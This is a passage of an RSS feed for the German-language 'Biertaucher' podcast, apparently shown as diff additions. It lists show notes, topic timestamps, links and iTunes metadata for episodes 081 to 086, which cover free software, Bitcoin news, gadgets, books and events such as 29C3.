+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:086&amp;title=Biertaucher%20Folge%20085&amp;language=de_DE&amp;tags=Biertaucher,Podcast,086,Bitcoin,Hackerspace,RaspberryPI,Education,Elektroauto,Nissan,Rollenspiel,Paranoia,Bilal,Schule,29C3,CCC,Nexus4,Bluetooth&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Horst JENS, Johnny ZWENG, FLorian SCHWEIKERT, Peter SCHLEINZER und Andreas LEHRBAUM (Bitcoinnews) plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/TKyal (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1095962/Biertaucher-Podcast-Folge-086
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/TKyal">hier klicken um die Shownotes zur Folge 086</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Johnny ZWENG</b>, <b>FLorian SCHWEIKERT</b>, <b>Peter SCHLEINZER</b> und <b>Andreas LEHRBAUM</b> (Bitcoinnews) plaudern über freie Software sowie andere Nerd-Neuigkeiten.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1095962/Biertaucher-Podcast-Folge-086" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>00:01:18 Peter erlebte guten (!) Support
+</li><li>00:04:52 Johnny und seine <a href="http://de.wikipedia.org/wiki/Bluetooth">Bluettooth</a> Kopfhörer
+</li><li>00:07:32 Florian war am <a href="http://de.wikipedia.org/wiki/Chaos_Communication_Congress">29C3</a> in Berlin sowie feiern in <a href="http://de.wikipedia.org/wiki/Porto">Porto</a>
+</li><li>00:33:30 Ubuntu auf Smartphones
+</li><li>00:40:00 Horst hat mehrals <a href="http://ubuntulinx.org">Ubuntu</a> neu installiert.
+</li><li>00:48:00 Johnny und sein neues <a href="http://de.wikipedia.org/wiki/Nexus_4">Nexus4</a>
+</li><li>00:58:00 Google Now, die Wiener Linien und Verkehrsdaten generell
+</li><li>01:16:03 Horst hat gelesen <a href="http://www.amazon.de/gp/product/3404606965/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3404606965&linkCode=as2&tag=spielendprogr-21">Isch geh Schulhof: Unerhörtes aus dem Alltag eines Grundschullehrers</a> und <a href="http://www.amazon.de/gp/product/3499627221/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3499627221&linkCode=as2&tag=spielendprogr-21"">Bilal: Als Illegaler auf dem Weg nach Europa</a>
+</li><li>01:24:00 Gregor spielt am Tablet und das Pen&Paper <a href="http://de.wikipedia.org/wiki/Paranoia_(Rollenspiel)">Rollenspiel "Paranoia"</a>
+</li><li>01:33:20 Peter über Elektro-Autos: <a href="http://www.saving-volt.de/tag/nissan-leaf/">Nissan Leaf</a>
+</li><li>01:48:00 RaspberryPI hat das <a href="http://www.raspberrypi.org/archives/2965">Eduction-Manual</a> präsentiert
+</li><li>01:51:00 Florian berichtet über den Hamburger Hackerspace Attraktor
+</li><li>01:57:20 Bitcoinupdate von Andreas
+ </li><ul></ul><li>stabile Phase im Bitcoin<a href="http://bitcoincharts.com/charts/mtgoxUSD#rg60zig6-hourzczsg2012-12-31zeg2013-01-07ztgSzm1g10zm2g25zv">Kursverlauf</a>
+ </li><li>neue Angebote für <a href="http://arstechnica.com/tech-policy/2013/01/bitcoin-based-gambling-to-expand-in-2013/">Bitcoin gambling</a>
+ </li><li>neue Ausgabe des Politics & Liberty Magazins <a href="http://blink.li/">blink</a>, Schwerpunkt: Bitcoin
+ </li><li><a href="http://acceptbit.com">AcceptBit</a> stellt neue Art der Bitcoinzahlung für Websites vor
+ </li><li>Bitcoin boomt in <a href="https://bitcointalk.org/index.php?topic=135088">Israel</a>
+ </li>
+ </ul>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher086.mp3" length="91123067" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Florian erzählt vom 29C3 und gibt Reisetipps, Peter hatte ein nettes Supporterlebnis und fährt Elektroauto, Horst hat „Isch geh Schulhof“ und „Bilal - als Illegaler auf dem Weg nach Europa“ gelesen und Gregor hat ein offline (!) Rollenspiel gespielt</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/TKyal bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1095962/Biertaucher-Podcast-Folge-086
+</itunes:summary>
+
+ <itunes:duration>2:06:33</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 086, Bitcoin, Hackerspace, RaspberryPI, Education, Elektroauto, Nissan, Rollenspiel, Paranoia, Bilal, Schule, Flüchtling, 29C3, CCC, Nexus4, Bluetooth
+</itunes:keywords>
+ </item>
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 085</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:085</link>
+ <pubDate>Fri, 4 Jan 2013 12:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher085.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:085&amp;title=Biertaucher%20Folge%20085&amp;language=de_DE&amp;tags=Biertaucher,Podcast,085,W-Lan-Router,Kaernten,Nexus,Smartphone,Android,Photosphere,Ubuntu_OS,Ubuntu,Termperaturfuehler,Feuchtefuehler,6lowPan,OsDomotics,Buch,Makers_the_new_revolution,Chris_Anderson,Wired,3dPrinter,Maker,DIY,Lasercutter,Fablab,open_hardware,Drohnen,CCC,soziale_Netze,Werbung,Politik,Datenschutz,Privacy,Wordpress,Buddypress,Kino,Beasts_of_the_southern_wild,What_hapiness_is&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Johnny ZWENG und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/TE5Ju (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1090645/Biertaucher-Podcast-Folge-085
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/TE5Ju">hier klicken um die Shownotes zur Folge 085</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Johnny ZWENG</b> und <b>Harald PICHLER</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1090645/Biertaucher-Podcast-Folge-085" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+</li><li>0:00:35 untote Hausmeisterthemen
+</li><li>0:01:52 worüber wir reden werden: mitgebrachte Hardware: Google Nexus, drahtloses Aufladegerät, 6lowPan Temperatur und Feuchtefühler, Buch und Filmbesprechung
+</li><li>0:03:48 Harald's Homestory: Harald wollte in Kärnten einen Gigabit (Buffalo) W-Lan-Router kaufen (DDWRT, OPENWRT)
+</li><li>0:10:47 Johnny hat ein neues Nexus Smartphone bekommen und <a href="http://de.wikipedia.org/wiki/Android_(Betriebssystem)">Android Jelly Bean 4.2.1</a> draufgeflasht und spielt sich mit Photospheres.
+</li><li>0:20:55 Horst über: Mark Shuttleworth hat ein <a href="http://ikhaya.ubuntuusers.de/2013/01/02/canonical-praesentiert-das-ubuntu-phone-os/">Youtube-Video über das neue Ubuntu OS</a> ( für mobile Geräte ) gemacht
+</li><li>0:28:09 Harald's Smarthome Beitrag: <a href="http://osdwiki.open-entry.com/doku.php/de:start">Raum-Feuchte und Raumtemperaturfühler mit 6lowPan</a>, wahlweise mit Batterie, Stromkabel oder <a href="http://de.wikipedia.org/wiki/Organische_Solarzelle">mit organischen Solarzellen</a>.
+</li><li>0:37:40 Buchbesprechung: Horst hat das Buch <a href="de:reviews:anderson_crhis:makers_the_new_industrial_revolution">Makers: the new industrial revolution</a> von Chris Anderson ausgelesen. Ãœber 3D-Drucker, Lasercutter, DIY Drones, Geekdaddy.com, Wired
+</li><li>0:47:32 <a href="http://events.ccc.de/congress/2012/wiki/Main_Page">Chaos Communication Congress 29c3</a>: Alle Videos sind online, wir warten auf Florian für einen Report
+</li><li>0:50:11 ÖVP startet <a href="http://futurezone.at/netzpolitik/13233-oevp-startet-arbeitskreis-netzpolitik.php">offenen Arbeitskreis für Netzpolitik</a>
+</li><li>0:52:18 Harald über soziale Netze ( bzw. das <a href="http://www.heise.de/newsticker/meldung/c-t-Sonderheft-Soziale-Netze-jetzt-bestellbar-1730823.html">c't Sonderheft zu diesem Thema</a> ), Politik, Wordpress-Plugin Buddypress, Werbung, Facebook, Diaspora, Datenschutz
+</li><li>1:10:26 schöner Leben: Horst war im Kino und NICHT begeistert von <a href="http://de.wikipedia.org/wiki/Beasts_of_the_Southern_Wild">Beasts of the southern Wild</a> , aber empfiehlt den Film <a href="http://news.orf.at/stories/2156199/2156191/">What Happiness is</a>
+</li><li>Vorschau auf nächsten Podcast
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher085.mp3" length="57089770" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny macht Kugelfotos, Harald misst drahtlos Raumfeuchte und wollte in Kärnten Wlan-Router kaufen, Horst hat Makers: the new Revolution gelesen und war im Kino (Beasts of the Southern Wild, What Happiness is).</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/TE5Ju bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1090645/Biertaucher-Podcast-Folge-085
+</itunes:summary>
+
+ <itunes:duration>1:19:17</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 085, W-Lan-Router, Photosphere, Ubuntu OS, 6lowPan, OsDomotics, Wired, 3dPrinter, Maker, open hardware, Drohnen, Buddypress, Kino, Beast of the southern wild, What hapiness is
+</itunes:keywords>
+ </item>
+
+
+ <item>
+ <title>Biertaucher Folge 084</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:084</link>
+ <pubDate>Thu, 27 Dec 2012 20:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher084.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:084&amp;title=Biertaucher%20Folge%20084&amp;language=de_DE&amp;tags=Biertaucher,Podcast,084,Debt,Makers,Ted,TedEd,Education,Buchbesprechung&amp;category=audio" type="text/html"/>
+ <description>Horst JENS plaudert über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/gV5iu (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1080487/Biertaucher-Podcast-Folge-084
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/gV5iu">hier klicken um die Shownotes zur Folge 084</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> plaudert über freie Software sowie andere Nerd-Neuigkeiten.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1080487/Biertaucher-Podcast-Folge-084" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li> 0:00:00 Buchbesprechung (Amazon Link) <a href="http://www.amazon.de/gp/product/1612191819/ref=as_li_ss_tl?ie=UTF8&tag=spielendprogr-21&linkCode=as2&camp=1638&creative=19454&creativeASIN=1612191819">Debt the first 5.000 years</a>
+ </li><li> 0:03:00 Buchbesprechung (Amazon Link) <a href="http://www.amazon.de/gp/product/1847940668/ref=as_li_ss_tl?ie=UTF8&tag=spielendprogr-21&linkCode=as2&camp=1638&creative=19454&creativeASIN=1847940668">Makers the new undustrial revoloution</a>
+ </li><li> 0:05:40 Website: <a href="http://ed.ted.com/#/">Ted-Ed</a>
+ </li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher084.mp3" length="5526346" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Ganz kurzer WeihnachtsferienVideo(!)podcast von Horst über 2 Bücher ( Debt, Makers ) und eine Website ( Ted-Ed )</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/gV5iu bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1080487/Biertaucher-Podcast-Folge-084
+</itunes:summary>
+
+ <itunes:duration>7:42</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 084, Debt, Makers, Ted, TedEd, Education, Buchbesprechung
+</itunes:keywords>
+ </item>
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 083</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:083</link>
+ <pubDate>Thu, 20 Dec 2012 22:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher083.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:083&amp;title=Biertaucher%20Folge%20083&amp;language=de_DE&amp;tags=Biertaucher,Podcast,083,kino,Hobbit,HFR,Wreck_it_Ralph,time_lapse,Ingress,Socl,steam,linux,fotografie,Breakoutboard,BardsTale,Game,Android,Bitcoin,Wikipedia,Bitcoinstore,mywallet&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG, Andreas BIEDER, Harald PICHLER sowie das Bitcoin-news Team Andreas LEHRBAUM und Andreas PETERSSON plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/py15e (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1074552/Biertaucher-Podcast-Folge-083
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/py15e">hier klicken um die Shownotes zur Folge 083</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Johnny ZWENG</b>, <b>Andreas BIEDER</b>, <b>Harald PICHLER</b> und das Bitcoin-News Team <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1074552/Biertaucher-Podcast-Folge-083" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:02:20 Andreas über Konofilm "<a href="http://www.imdb.com/title/tt0903624/">Der Hobbit</a>" und die neue <a href="http://en.wikipedia.org/wiki/48_fps">48 Frames per Second (HFR)</a> Technik
+ </li><li>0:08:30 Horst hat im Kino "<a href="http://www.imdb.com/title/tt1772341/">Wreck it Ralph</a>" geschaut
+ </li><li>0:12:38 <a href="http://derstandard.at/1355459843904/Kritische-Sicherheitsluecke-gefaehrdet-Galaxy-S3-und-Note-2">Samsung Sicherheitslücke</a>
+ </li><li>0:24:57 Andreas über Shutterfotografie - <a href="http://futurezone.at/digitallife/13009-tiroler-macht-zeitraffer-videos-aus-nachtfotos.php">Timeplapse Sterne fotografieren</a> (Futurezone-Artikel) und Fotografie / Fotoapparate allgemein
+ </li><li>1:00:17 <a href="http://derstandard.at/1353208916976/Erste-Verhaftungen-von-Ingress-Spielern">Verhaftung wegen Augmented Reality Game Ingress</a>
+ </li><li>1:05:38 Horst lobt Microsoft wegen neuer Bildmixfunktion in http://so.cl
+ </li><li>1:10:38 Harald hat Windows8 + MSOffice angeschaut und war nicht begeistert
+ </li><li>1:22:33 <a href="http://steamcommunity.com/games/221410/announcements/detail/1747660173332716773">Steam für Linux</a> ( inzwischen public )
+ </li><li>1:29:40 Andreas hat ein transportables Verstärkerkästchen mitgebracht ( Amazon Link: <a href="http://www.amazon.de/gp/product/B003N0XDT4/ref=as_li_ss_tl?ie=UTF8&tag=spielendprogr-21&linkCode=as2&camp=1638&creative=19454&creativeASIN=B003N0XDT4">Fiio E7 Portable Headphone DAC Amplifier</a> ) und goldene Audiobuchsen
+ </li><li>1:50:00 <a href="http://www.open-entry.com/osdomotics/wp/">OSDomotics (Harald)</a> bringt <a href="http://osdwiki.open-entry.com/doku.php/de:projekte:merkur">Merkur Breakoutboard</a> heraus.
+ </li><li>1:55:41 Gregor hat <a href="http://en.wikipedia.org/wiki/Bard%27s_Tale">Bard's Tale</a> am Android-Tablet und andere Games gespielt
+ </li><li>2:05:25 <b>Bitcoinupdate von Andreas & Andreas</b>:
+ </li>
+ <ul></ul><li>Kurzfristiger Abwärtstrend im <a href="http://bitcoincharts.com/charts/mtgoxUSD#rg60zigDailyzczsg2012-12-09zeg2012-12-16ztgSzm1g10zm2g25zv">Kursverlauf</a>
+ </li><li><a href="https://bitcointalk.org/index.php?topic=128042.msg1398752#msg1398752">off-by-one Bug</a> in der change output selection des Satoshi-Clients
+ </li><li>Sprunghafter Anstieg der mywallet-Accounts bei <a href="https://blockchain.info/charts/my-wallet-n-users?timespan=30days&showDataPoints=false&daysAverageString=1&show_header=true&scale=0&address=">blockchain.info</a>
+ </li><li>Bitcoin Drama bei <a href="http://en.wikipedia.org/wiki/Talk:Highest-valued_currency_unit">Wikipedia</a>
+ </li><li><a href="http://bitcoinstore.com">Bitcoinstore.com</a> hebt den Mindestbestellwert von 1000 USD auf
+ </li><li><a href="http://bitcoin.sipa.be/speed-lin-10k.png">Hashleistung</a> sinkt als Folge der Blockreward-Halbierung
+ </li></ul>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher083.mp3" length="104274644" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Andreas hat Verstärker und Fotoapparat mitgebracht, Horst hat im Kino „Wreck it Ralph“ gesehen, Gregor hat „The Bard's Tale“ durchgespielt, Harald baut ein Merkur Breakoutboard, Bitcoin-News mit Andreas und Andreas u.v.m</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/py15e bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1074552/Biertaucher-Podcast-Folge-083
+</itunes:summary>
+
+ <itunes:duration>2:24:49</itunes:duration>
+ <itunes:keywords>Biertaucher,Podcast,083,kino,Hobbit,HFR,Wreck_it_Ralph,Galaxy,timelapse,Ingress,Socl,Microsoft,steam,linux,fotografie,Merkur,Breakoutboard,BardsTale,Game,Android,Bitcoin,Wikipedia,Bitcoinstore,mywallet
+</itunes:keywords>
+ </item>
+
+
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 082</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:082</link>
+ <pubDate>Thu, 13 Dec 2012 15:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher082.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:082&amp;title=Biertaucher%20Folge%20082&amp;language=de_DE&amp;tags=Biertaucher,Podcast,082,Bitcoin,FMA,Roboxotica,Rauchverbot,Palatschinkenroboter,GEA,Heini_Staudinger,Demonstration,Mitch_Altmann,Sven_Guckes,Kalender,CCal,Interview,Light,Kickstarter,Joschka_Sauer,Atari,OpenSource,OpenHardware,Google_communitys,Kunst_hat_recht,flattr,reddit&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT, Interviewgäste Matthias, Michael und Sven GUCKES sowie das Bitcoin-news Team Andreas LEHRBAUM und Andreas PETERSSON plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/djJLU (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1065390/Biertaucher-Podcast-Folge-082
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/djJLU">hier klicken um die Shownotes zur Folge 082</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Florian Schweikert</b>, das Bitcoin-News Team <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b> sowie die <b>INTERVIEWGÄSTE</b> Mattihas, Michael und <b>Sven Guckes</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1065390/Biertaucher-Podcast-Folge-082" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:01:00 Hausmeisterthemen
+</li><li>0:01:57 Bericht: Horst war auf der "Bürgerrecht statt Bankenrecht" Demonstration am 7.12.2012 vor dem Wiener Parlament ( Firma Gea, Heni Staudinger, Konflikt mit Finanzmarktaufsicht ): siehe Blogeintrag: <a href="http://horstjens.blogspot.co.at/2012/12/terrorwaffe-wanderstock.html">Terrorwaffe Wanderstock</a>
+</li><li>0:05:02 Bericht: Florian war auf der <a href="http://horstjens.blogspot.co.at/2012/12/verrauchte-roboexotica.html">Roboxotica 2012</a> und berichtet über Cocktail- und Palatschinkenroboter
+</li><li>0:09:51 Mitch Altman what einen Lötworkshop im Metalab gemacht und lebt vom Verkauf von <a href="https://www.tvbgone.com/cfe_tvbg_main.php">TV-b-gone</a>. Teaser: Sven Guckes über CCalc
+</li><li>0:12:06 Florian hat ein interessantes Kickstarter Projekt gefunden: <a href="http://www.kickstarter.com/projects/cloudlight/light-1?ref=live">Light, der Licht-Rahmen</a>
+</li><li>0:21:18 Joschka Sauer hat mit seinen ersten 100.000 Euro einen 10-Minuten <a href="http://nichtlustig.de">Nicht-Lustig Trickfilm</a> gemacht und sucht weitere 100.000 Euro
+</li><li>0:25:00 <a href="http://futurezone.at/digitallife/12893-richard-stallman-kritisiert-ubuntu-als">Richard Stallmann schimpft auf Ubuntu's Privacy Politik</a>
+</li><li>0:32:30 Bericht: Horst war auf der Retrobörse auf der TU-Wien. Teaser: Interview mit Entwickler von <a href="http://acp.atari.org">Atari-ST Nachbauprojekt</a>
+</li><li>0:36:57 Gregor schaut (wieder mal) Sopranos und macht sich Gedanken über <a href="http://www.amazon.de/gp/product/1612191819/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=1612191819&linkCode=as2&tag=spielendprogr-21">Debt - the first 5.000 yeras</a>
+</li><li>0:39:00 Florian lädt ein zum <a href="https://metalab.at/wiki/Super_Gamedev_Weekend">Super Game Dev Weekend ins Metalab</a>
+</li><li>0:47:30 <a href="http://www.google.com/intl/de/+/learnmore/community/">Google+ Communities</a>
+</li><li>0:52:15 Schlechte Neuigkeiten vom <a href="http://www.martinballuch.com/">Balluch Blog</a>
+</li><li>0:53:56 <a href="http://www.kunsthatrecht.at/">Kunst hat Recht</a> Initiative will Festplattenabgabe auf Cloud-Storages ausweiten
+</li><li>0:55:29 Florian hat einen interessante Videos und <a href="http://web.logic.at/staff/kelvan/index.php">Flattr-Button auf seiner Website</a>
+</li><li>1:07:11 Horst hat eine <a href="http://reditr.com/">App für Reddit namens reditr</a> ausprobiert
+</li><li>1:07:48 BITCOIN-NEWS mit Andreas LEHRBAUM und Andreas PETERSSON
+</li><li>1:30:28 INTERVIEW mit Matthias, über ATARI-ST Nachbauprojekt
+</li><li>1:52:36 INTERVIEW mit Michael und Sven Guckes über CCal - textbasierter Kalender
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher082.mp3" length="92434905" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Bericht von Roboxotica2012, Retrobörse, Bürgerrecht-statt-Bankenrecht-Demonstration. Interview über Atari-ST Nachbauprojekt und CCal textbasierten Kalender. Ausführlichste Bitcoinnews u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/djJLU bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1065390/Biertaucher-Podcast-Folge-082
+</itunes:summary>
+
+ <itunes:duration>2:08:22</itunes:duration>
+ <itunes:keywords>Biertaucher,Podcast,082,Bitcoin,FMA,Roboxotica,GEA,Heini Staudinger,Demonstration,Mitch Altmann,Sven Guckes,CCal,Interview,Light,Kickstarter,Joschka Sauer,Crowdfunding,Richard Stallman,Privacy,Atari,Google communitys,Kunst hat recht,flattr,reddit
+</itunes:keywords>
+ </item>
+
+
+
+
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 081</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:081</link>
+ <pubDate>Sat, 08 Dec 2012 17:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher081.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:081&amp;title=Biertaucher%20Folge%20081&amp;language=de_DE&amp;tags=Biertaucher,Podcast,081,Roboexotica,Schule,Schule_in_Bewegung,Spittal,Bictoin,Dept,Buch,Space_Janitors,Comics,Mitch_Altmann,Metalab,Sven_Guckes,pocket,read_it_later,Gimp_Magazin,Indiegogo,Steam,Linux,Energiewende,Bitcoin&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, sowie Bitcoin-news Team Andreas LEHRBAUM und Andreas PETERSSON plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/zVPGk (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1055948/Biertaucher-Podcast-Folge-081
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/zVPGk">hier klicken um die Shownotes zur Folge 081</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b> und das Bitcoin-News Team <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten. <br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1055948/Biertaucher-Podcast-Folge-081" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:00:47 Hausmeisterthemen
+</li><li>0:02:52 Gregor's Nerdhöhle mit <a href="http://www.mplayerhq.hu/DOCS/HTML/de/caca.html">Caca-Kaminfeuer</a>
+</li><li>0:05:32 Horst war auf der <a href="http://www.roboexotica.org/">Roboexotica 2012</a> ( <a href="https://picasaweb.google.com/107725094985199419268/201212Roboexotica">Fotoalbum</a> )
+</li><li>0:10:15 Aufruf: Bitte Biertaucher-Kalender anschaun, <a href="http://en.wikipedia.org/wiki/Mitch_Altman">Mitch Altmann</a> und <a href="http://www.guckes.net/">Sven Guckes</a> im Metalab
+</li><li>0:12:38 Android Tablets: Acer A 2010 , Asus TF 300 T, sowie <a href="http://getpocket.com/">Pocket Bookmarklet</a> (read it later)
+</li><li>0:16:57 Comic Reader für's Tablet, cbr, cbz Format, Tablet-Tastaturen
+</li><li>0:23:10 Horst war in <a href="http://webduxv15.bon.at/notebookschule.at/nms-hs3/">Spittal/Drau (Kärnten )in einer NMS</a> Programmierschulung machen und erzählt über Schule in Bewegung / jonglieren ( Hermann Rohrer )
+</li><li>0:28:11 Horst liest immer noch <a href="http://www.amazon.de/gp/product/1612191819/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=1612191819&linkCode=as2&tag=spielendprogr-21">Debt, the first 5.000 years</a>
